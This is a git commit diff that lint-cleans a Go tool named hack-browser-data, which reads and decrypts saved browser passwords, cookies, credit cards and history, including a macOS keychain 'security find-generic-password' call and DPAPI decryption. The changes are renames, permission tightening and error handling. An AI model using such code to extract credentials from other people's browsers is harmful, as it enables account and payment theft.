refactor: pass golang-ci lint check

.golangci.yml

@@ -11,7 +11,6 @@ linters:
     - 'deadcode'
     - 'depguard'
     - 'dogsled'
-    - 'errcheck'
     - 'errorlint'
     - 'exportloopref'
     - 'gofmt'
@@ -42,6 +41,7 @@ linters:
     - 'structcheck'
     - 'stylecheck'
     - 'unused'
+    - 'errcheck'
 
 issues:
   exclude-use-default: false
@@ -52,7 +52,9 @@ issues:
     - G101
     # G103: Use of unsafe calls should be audited
     - G103
-    # G404, G401, G502, G505 weak cryptographic list
+    # G304: Potential file inclusion via variable
+    - G304
+    # G404, G401, G502, G505: weak cryptographic list
     - G401
     - G404
     - G502

go.mod

@@ -1,6 +1,6 @@
 module hack-browser-data
 
-go 1.18
+go 1.19
 
 require (
 	github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9

internal/browingdata/bookmark/bookmark.go

@@ -6,14 +6,14 @@ import (
 	"sort"
 	"time"
 
-	"github.com/tidwall/gjson"
-
 	"hack-browser-data/internal/item"
 	"hack-browser-data/internal/log"
 	"hack-browser-data/internal/utils/fileutil"
 	"hack-browser-data/internal/utils/typeutil"
 
+	// import sqlite3 driver
 	_ "github.com/mattn/go-sqlite3"
+	"github.com/tidwall/gjson"
 )
 
 type ChromiumBookmark []bookmark
@@ -51,7 +51,7 @@ func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjso
 	const (
 		bookmarkID       = "id"
 		bookmarkAdded    = "date_added"
-		bookmarkUrl      = "url"
+		bookmarkURL      = "url"
 		bookmarkName     = "name"
 		bookmarkType     = "type"
 		bookmarkChildren = "children"
@@ -60,7 +60,7 @@ func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjso
 	bm := bookmark{
 		ID:        value.Get(bookmarkID).Int(),
 		Name:      value.Get(bookmarkName).String(),
-		URL:       value.Get(bookmarkUrl).String(),
+		URL:       value.Get(bookmarkURL).String(),
 		DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
 	}
 	children = value.Get(bookmarkChildren)

internal/browingdata/browsingdata.go

@@ -53,17 +53,22 @@ func (d *Data) Output(dir, browserName, flag string) {
 			// if the length of the export data is 0, then it is not necessary to output
 			continue
 		}
-		filename := fileutil.Filename(browserName, source.Name(), output.Ext())
+		filename := fileutil.ItemName(browserName, source.Name(), output.Ext())
 
 		f, err := output.CreateFile(dir, filename)
 		if err != nil {
-			log.Errorf("create file error %s", err)
+			log.Errorf("create file %s error %s", filename, err.Error())
+			continue
 		}
 		if err := output.Write(source, f); err != nil {
-			log.Errorf("%s write to file %s error %s", source.Name(), filename, err.Error())
+			log.Errorf("write to file %s error %s", filename, err.Error())
+			continue
+		}
+		if err := f.Close(); err != nil {
+			log.Errorf("close file %s error %s", filename, err.Error())
+			continue
 		}
 		log.Noticef("output to file %s success", path.Join(dir, filename))
-		f.Close()
 	}
 }
 

internal/browingdata/cookie/cookie.go

@@ -6,12 +6,13 @@ import (
 	"sort"
 	"time"
 
-	_ "github.com/mattn/go-sqlite3"
-
 	"hack-browser-data/internal/decrypter"
 	"hack-browser-data/internal/item"
 	"hack-browser-data/internal/log"
 	"hack-browser-data/internal/utils/typeutil"
+
+	// import sqlite3 driver
+	_ "github.com/mattn/go-sqlite3"
 )
 
 type ChromiumCookie []cookie
@@ -72,7 +73,7 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error {
 		if len(encryptValue) > 0 {
 			var err error
 			if masterKey == nil {
-				value, err = decrypter.DPApi(encryptValue)
+				value, err = decrypter.DPAPI(encryptValue)
 			} else {
 				value, err = decrypter.Chromium(masterKey, encryptValue)
 			}
@@ -118,10 +119,10 @@ func (f *FirefoxCookie) Parse(masterKey []byte) error {
 	for rows.Next() {
 		var (
 			name, value, host, path string
-			isSecure, isHttpOnly    int
+			isSecure, isHTTPOnly    int
 			creationTime, expiry    int64
 		)
-		if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly); err != nil {
+		if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {
 			log.Warn(err)
 		}
 		*f = append(*f, cookie{
@@ -129,7 +130,7 @@ func (f *FirefoxCookie) Parse(masterKey []byte) error {
 			Host:       host,
 			Path:       path,
 			IsSecure:   typeutil.IntToBool(isSecure),
-			IsHTTPOnly: typeutil.IntToBool(isHttpOnly),
+			IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
 			CreateDate: typeutil.TimeStamp(creationTime / 1000000),
 			ExpireDate: typeutil.TimeStamp(expiry),
 			Value:      value,

internal/browingdata/creditcard/creditcard.go

@@ -4,11 +4,12 @@ import (
 	"database/sql"
 	"os"
 
-	_ "github.com/mattn/go-sqlite3"
-
 	"hack-browser-data/internal/decrypter"
 	"hack-browser-data/internal/item"
 	"hack-browser-data/internal/log"
+
+	// import sqlite3 driver
+	_ "github.com/mattn/go-sqlite3"
 )
 
 type ChromiumCreditCard []card
@@ -56,7 +57,7 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
 			NickName:        nickname,
 		}
 		if masterKey == nil {
-			value, err = decrypter.DPApi(encryptValue)
+			value, err = decrypter.DPAPI(encryptValue)
 			if err != nil {
 				return err
 			}
@@ -112,7 +113,7 @@ func (c *YandexCreditCard) Parse(masterKey []byte) error {
 			NickName:        nickname,
 		}
 		if masterKey == nil {
-			value, err = decrypter.DPApi(encryptValue)
+			value, err = decrypter.DPAPI(encryptValue)
 			if err != nil {
 				return err
 			}

internal/browingdata/download/download.go

@@ -11,6 +11,7 @@ import (
 	"hack-browser-data/internal/log"
 	"hack-browser-data/internal/utils/typeutil"
 
+	// import sqlite3 driver
 	_ "github.com/mattn/go-sqlite3"
 	"github.com/tidwall/gjson"
 )
@@ -19,7 +20,7 @@ type ChromiumDownload []download
 
 type download struct {
 	TargetPath string
-	Url        string
+	URL        string
 	TotalBytes int64
 	StartTime  time.Time
 	EndTime    time.Time
@@ -44,15 +45,15 @@ func (c *ChromiumDownload) Parse(masterKey []byte) error {
 	defer rows.Close()
 	for rows.Next() {
 		var (
-			targetPath, tabUrl, mimeType   string
+			targetPath, tabURL, mimeType   string
 			totalBytes, startTime, endTime int64
 		)
-		if err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
+		if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
 			log.Warn(err)
 		}
 		data := download{
 			TargetPath: targetPath,
-			Url:        tabUrl,
+			URL:        tabURL,
 			TotalBytes: totalBytes,
 			StartTime:  typeutil.TimeEpoch(startTime),
 			EndTime:    typeutil.TimeEpoch(endTime),
@@ -119,7 +120,7 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error {
 			fileSize := gjson.Get(json, "fileSize")
 			*f = append(*f, download{
 				TargetPath: path,
-				Url:        url,
+				URL:        url,
 				TotalBytes: fileSize.Int(),
 				StartTime:  typeutil.TimeStamp(dateAdded / 1000000),
 				EndTime:    typeutil.TimeStamp(endTime.Int() / 1000),

internal/browingdata/extension/extension.go

@@ -3,11 +3,11 @@ package extension
 import (
 	"os"
 
-	"github.com/tidwall/gjson"
-
 	"hack-browser-data/internal/item"
 	"hack-browser-data/internal/log"
 	"hack-browser-data/internal/utils/fileutil"
+
+	"github.com/tidwall/gjson"
 )
 
 type ChromiumExtension []*extension

internal/browingdata/history/history.go

@@ -6,18 +6,19 @@ import (
 	"sort"
 	"time"
 
-	_ "github.com/mattn/go-sqlite3"
-
 	"hack-browser-data/internal/item"
 	"hack-browser-data/internal/log"
 	"hack-browser-data/internal/utils/typeutil"
+
+	// import sqlite3 driver
+	_ "github.com/mattn/go-sqlite3"
 )
 
 type ChromiumHistory []history
 
 type history struct {
 	Title         string
-	Url           string
+	URL           string
 	VisitCount    int
 	LastVisitTime time.Time
 }
@@ -48,7 +49,7 @@ func (c *ChromiumHistory) Parse(masterKey []byte) error {
 			log.Warn(err)
 		}
 		data := history{
-			Url:           url,
+			URL:           url,
 			Title:         title,
 			VisitCount:    visitCount,
 			LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
@@ -109,7 +110,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error {
 		}
 		*f = append(*f, history{
 			Title:         title,
-			Url:           url,
+			URL:           url,
 			VisitCount:    visitCount,
 			LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
 		})

internal/browingdata/localstorage/localstorage.go

@@ -7,11 +7,11 @@ import (
 	"os"
 	"strings"
 
-	"github.com/syndtr/goleveldb/leveldb"
-
 	"hack-browser-data/internal/item"
 	"hack-browser-data/internal/log"
 	"hack-browser-data/internal/utils/typeutil"
+
+	"github.com/syndtr/goleveldb/leveldb"
 )
 
 type ChromiumLocalStorage []storage

internal/browingdata/outputter.go

@@ -52,7 +52,7 @@ func (o *OutPutter) CreateFile(dir, filename string) (*os.File, error) {
 
 	if dir != "" {
 		if _, err := os.Stat(dir); os.IsNotExist(err) {
-			err := os.MkdirAll(dir, 0o777)
+			err := os.MkdirAll(dir, 0o750)
 			if err != nil {
 				return nil, err
 			}
@@ -62,7 +62,7 @@ func (o *OutPutter) CreateFile(dir, filename string) (*os.File, error) {
 	var file *os.File
 	var err error
 	p := filepath.Join(dir, filename)
-	file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o666)
+	file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
 	if err != nil {
 		return nil, err
 	}
@@ -72,7 +72,6 @@ func (o *OutPutter) CreateFile(dir, filename string) (*os.File, error) {
 func (o *OutPutter) Ext() string {
 	if o.json {
 		return "json"
-	} else {
-		return "csv"
 	}
+	return "csv"
 }

internal/browingdata/outputter_test.go

@@ -6,6 +6,7 @@ import (
 )
 
 func TestNewOutPutter(t *testing.T) {
+	t.Parallel()
 	out := NewOutPutter("json")
 	if out == nil {
 		t.Error("New() returned nil")

internal/browingdata/password/password.go

@@ -4,18 +4,18 @@ import (
 	"bytes"
 	"database/sql"
 	"encoding/base64"
-	"io/ioutil"
 	"os"
 	"sort"
 	"time"
 
-	_ "github.com/mattn/go-sqlite3"
-	"github.com/tidwall/gjson"
-
 	"hack-browser-data/internal/decrypter"
 	"hack-browser-data/internal/item"
 	"hack-browser-data/internal/log"
 	"hack-browser-data/internal/utils/typeutil"
+
+	// import sqlite3 driver
+	_ "github.com/mattn/go-sqlite3"
+	"github.com/tidwall/gjson"
 )
 
 type ChromiumPassword []loginData
@@ -25,7 +25,7 @@ type loginData struct {
 	encryptPass []byte
 	encryptUser []byte
 	Password    string
-	LoginUrl    string
+	LoginURL    string
 	CreateDate  time.Time
 }
 
@@ -58,12 +58,12 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
 		login := loginData{
 			UserName:    username,
 			encryptPass: pwd,
-			LoginUrl:    url,
+			LoginURL:    url,
 		}
 		if len(pwd) > 0 {
 			var err error
 			if masterKey == nil {
-				password, err = decrypter.DPApi(pwd)
+				password, err = decrypter.DPAPI(pwd)
 			} else {
 				password, err = decrypter.Chromium(masterKey, pwd)
 			}
@@ -125,13 +125,13 @@ func (c *YandexPassword) Parse(masterKey []byte) error {
 		login := loginData{
 			UserName:    username,
 			encryptPass: pwd,
-			LoginUrl:    url,
+			LoginURL:    url,
 		}
 
 		if len(pwd) > 0 {
 			var err error
 			if masterKey == nil {
-				password, err = decrypter.DPApi(pwd)
+				password, err = decrypter.DPAPI(pwd)
 			} else {
 				password, err = decrypter.Chromium(masterKey, pwd)
 			}
@@ -196,7 +196,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
 			if err != nil {
 				return err
 			}
-			allLogin, err := getFirefoxLoginData(item.TempFirefoxPassword)
+			allLogin, err := getFirefoxLoginData()
 			if err != nil {
 				return err
 			}
@@ -218,7 +218,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
 					return err
 				}
 				*f = append(*f, loginData{
-					LoginUrl:   v.LoginUrl,
+					LoginURL:   v.LoginURL,
 					UserName:   string(user),
 					Password:   string(pwd),
 					CreateDate: v.CreateDate,
@@ -251,12 +251,12 @@ func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err
 	return item1, item2, a11, a102, nil
 }
 
-func getFirefoxLoginData(loginJson string) (l []loginData, err error) {
-	s, err := ioutil.ReadFile(loginJson)
+func getFirefoxLoginData() (l []loginData, err error) {
+	s, err := os.ReadFile(item.TempFirefoxPassword)
 	if err != nil {
 		return nil, err
 	}
-	defer os.Remove(loginJson)
+	defer os.Remove(item.TempFirefoxPassword)
 	h := gjson.GetBytes(s, "logins")
 	if h.Exists() {
 		for _, v := range h.Array() {
@@ -265,7 +265,7 @@ func getFirefoxLoginData(loginJson string) (l []loginData, err error) {
 				user []byte
 				pass []byte
 			)
-			m.LoginUrl = v.Get("formSubmitURL").String()
+			m.LoginURL = v.Get("formSubmitURL").String()
 			user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
 			if err != nil {
 				return nil, err

internal/browser/browser.go

@@ -119,14 +119,11 @@ const (
 	chromeBetaName = "Chrome Beta"
 	chromiumName   = "Chromium"
 	edgeName       = "Microsoft Edge"
-	speed360Name   = "360speed"
-	qqBrowserName  = "QQ"
 	braveName      = "Brave"
 	operaName      = "Opera"
 	operaGXName    = "OperaGX"
 	vivaldiName    = "Vivaldi"
 	coccocName     = "CocCoc"
 	yandexName     = "Yandex"
-
-	firefoxName = "Firefox"
+	firefoxName    = "Firefox"
 )

internal/browser/browser_windows.go

@@ -6,6 +6,11 @@ import (
 	"hack-browser-data/internal/item"
 )
 
+const (
+	speed360Name  = "360speed"
+	qqBrowserName = "QQ"
+)
+
 var (
 	chromiumList = map[string]struct {
 		name        string

internal/browser/chromium/chromium.go

@@ -32,7 +32,7 @@ func New(name, storage, profilePath string, items []item.Item) ([]*chromium, err
 	if err != nil {
 		return nil, err
 	}
-	var chromiumList []*chromium
+	chromiumList := make([]*chromium, 0, len(multiItemPaths))
 	for user, itemPaths := range multiItemPaths {
 		chromiumList = append(chromiumList, &chromium{
 			name:      fileutil.BrowserName(name, user),

internal/browser/chromium/chromium_darwin.go

@@ -28,10 +28,9 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
 	)
 	// don't need chromium key file for macOS
 	defer os.Remove(item.TempChromiumKey)
-	// defer os.Remove(item.TempChromiumKey)
 	// Get the master key from the keychain
 	// $ security find-generic-password -wa 'Chrome'
-	cmd = exec.Command("security", "find-generic-password", "-wa", c.storage)
+	cmd = exec.Command("security", "find-generic-password", "-wa", strings.TrimSpace(c.storage)) //nolint:gosec
 	cmd.Stdout = &stdout
 	cmd.Stderr = &stderr
 	err := cmd.Run()

internal/browser/chromium/chromium_windows.go

@@ -24,14 +24,14 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
 	}
 	defer os.Remove(keyFile)
 	encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
-	if encryptedKey.Exists() {
-		pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
-		if err != nil {
-			return nil, errDecodeMasterKeyFailed
-		}
-		c.masterKey, err = decrypter.DPApi(pureKey[5:])
-		log.Infof("%s initialized master key success", c.name)
-		return c.masterKey, err
+	if !encryptedKey.Exists() {
+		return nil, nil
 	}
-	return nil, nil
+	pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
+	if err != nil {
+		return nil, errDecodeMasterKeyFailed
+	}
+	c.masterKey, err = decrypter.DPAPI(pureKey[5:])
+	log.Infof("%s initialized master key success", c.name)
+	return c.masterKey, err
 }

internal/browser/firefox/firefox.go

@@ -35,7 +35,8 @@ func New(name, storage, profilePath string, items []item.Item) ([]*firefox, erro
 	if err != nil {
 		return nil, err
 	}
-	var firefoxList []*firefox
+
+	firefoxList := make([]*firefox, 0, len(multiItemPaths))
 	for name, itemPaths := range multiItemPaths {
 		firefoxList = append(firefoxList, &firefox{
 			name:      fmt.Sprintf("firefox-%s", name),

internal/decrypter/decrypter.go

@@ -16,7 +16,6 @@ import (
 var (
 	errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
 	errPasswordIsEmpty    = errors.New("password is empty")
-	errDecryptFailed      = errors.New("decrypt encrypted value failed")
 	errDecodeASN1Failed   = errors.New("decode ASN1 data failed")
 	errEncryptedLength    = errors.New("length of encrypted password less than block size")
 )

internal/utils/fileutil/filetutil.go

@@ -5,7 +5,6 @@ import (
 	"bytes"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path"
 	"path/filepath"
@@ -55,7 +54,7 @@ func FilesInFolder(dir, filename string) ([]string, error) {
 
 // ReadFile reads the file from the provided path
 func ReadFile(filename string) (string, error) {
-	s, err := ioutil.ReadFile(filename)
+	s, err := os.ReadFile(filename)
 	return string(s), err
 }
 
@@ -71,20 +70,20 @@ func CopyDir(src, dst, skip string) error {
 // CopyDirHasSuffix copies the directory from the source to the destination
 // contain is the file if you want to copy, and rename copied filename with dir/index_filename
 func CopyDirHasSuffix(src, dst, suffix string) error {
-	var filelist []string
+	var files []string
 	err := filepath.Walk(src, func(path string, f os.FileInfo, err error) error {
 		if !f.IsDir() && strings.HasSuffix(strings.ToLower(f.Name()), suffix) {
-			filelist = append(filelist, path)
+			files = append(files, path)
 		}
 		return err
 	})
 	if err != nil {
 		return err
 	}
-	if err := os.MkdirAll(dst, 0o755); err != nil {
+	if err := os.MkdirAll(dst, 0o700); err != nil {
 		return err
 	}
-	for index, file := range filelist {
+	for index, file := range files {
 		// p = dir/index_file
 		p := fmt.Sprintf("%s/%d_%s", dst, index, BaseDir(file))
 		err = CopyFile(file, p)
@@ -97,20 +96,19 @@ func CopyDirHasSuffix(src, dst, suffix string) error {
 
 // CopyFile copies the file from the source to the destination
 func CopyFile(src, dst string) error {
-	// TODO: Handle read file error
-	d, err := ioutil.ReadFile(src)
+	s, err := os.ReadFile(src)
 	if err != nil {
 		return err
 	}
-	err = ioutil.WriteFile(dst, d, 0o777)
+	err = os.WriteFile(dst, s, 0o600)
 	if err != nil {
 		return err
 	}
 	return nil
 }
 
-// Filename returns the filename from the provided path
-func Filename(browser, item, ext string) string {
+// ItemName returns the filename from the provided path
+func ItemName(browser, item, ext string) string {
 	replace := strings.NewReplacer(" ", "_", ".", "_", "-", "_")
 	return strings.ToLower(fmt.Sprintf("%s_%s.%s", replace.Replace(browser), item, ext))
 }
@@ -137,26 +135,27 @@ func ParentBaseDir(p string) string {
 
 // CompressDir compresses the directory into a zip file
 func CompressDir(dir string) error {
-	files, err := ioutil.ReadDir(dir)
+	files, err := os.ReadDir(dir)
 	if err != nil {
 		return err
 	}
 	b := new(bytes.Buffer)
 	zw := zip.NewWriter(b)
 	for _, f := range files {
-		fw, _ := zw.Create(f.Name())
-		fileName := path.Join(dir, f.Name())
-		fileContent, err := ioutil.ReadFile(fileName)
+		fw, err := zw.Create(f.Name())
 		if err != nil {
-			zw.Close()
 			return err
 		}
-		_, err = fw.Write(fileContent)
+		name := path.Join(dir, f.Name())
+		content, err := os.ReadFile(name)
 		if err != nil {
-			zw.Close()
 			return err
 		}
-		err = os.Remove(fileName)
+		_, err = fw.Write(content)
+		if err != nil {
+			return err
+		}
+		err = os.Remove(name)
 		if err != nil {
 			return err
 		}
@@ -165,7 +164,7 @@ func CompressDir(dir string) error {
 		return err
 	}
 	filename := filepath.Join(dir, fmt.Sprintf("%s.zip", dir))
-	outFile, err := os.Create(filename)
+	outFile, err := os.Create(filepath.Clean(filename))
 	if err != nil {
 		return err
 	}
@@ -173,5 +172,5 @@ func CompressDir(dir string) error {
 	if err != nil {
 		return err
 	}
-	return nil
+	return outFile.Close()
 }

internal/utils/typeutil/typeutil_test.go

@@ -4,13 +4,15 @@ import (
 	"testing"
 )
 
-var reverseTestCases = [][]any{
-	{1, 2, 3, 4, 5},
-	{"1", "2", "3", "4", "5"},
-	{"1", 2, "3", "4", 5},
-}
-
 func TestReverse(t *testing.T) {
+	t.Parallel()
+
+	reverseTestCases := [][]any{
+		{1, 2, 3, 4, 5},
+		{"1", "2", "3", "4", "5"},
+		{"1", 2, "3", "4", 5},
+	}
+
 	for _, ts := range reverseTestCases {
 		h := Reverse(ts)
 		for i := 0; i < len(ts); i++ {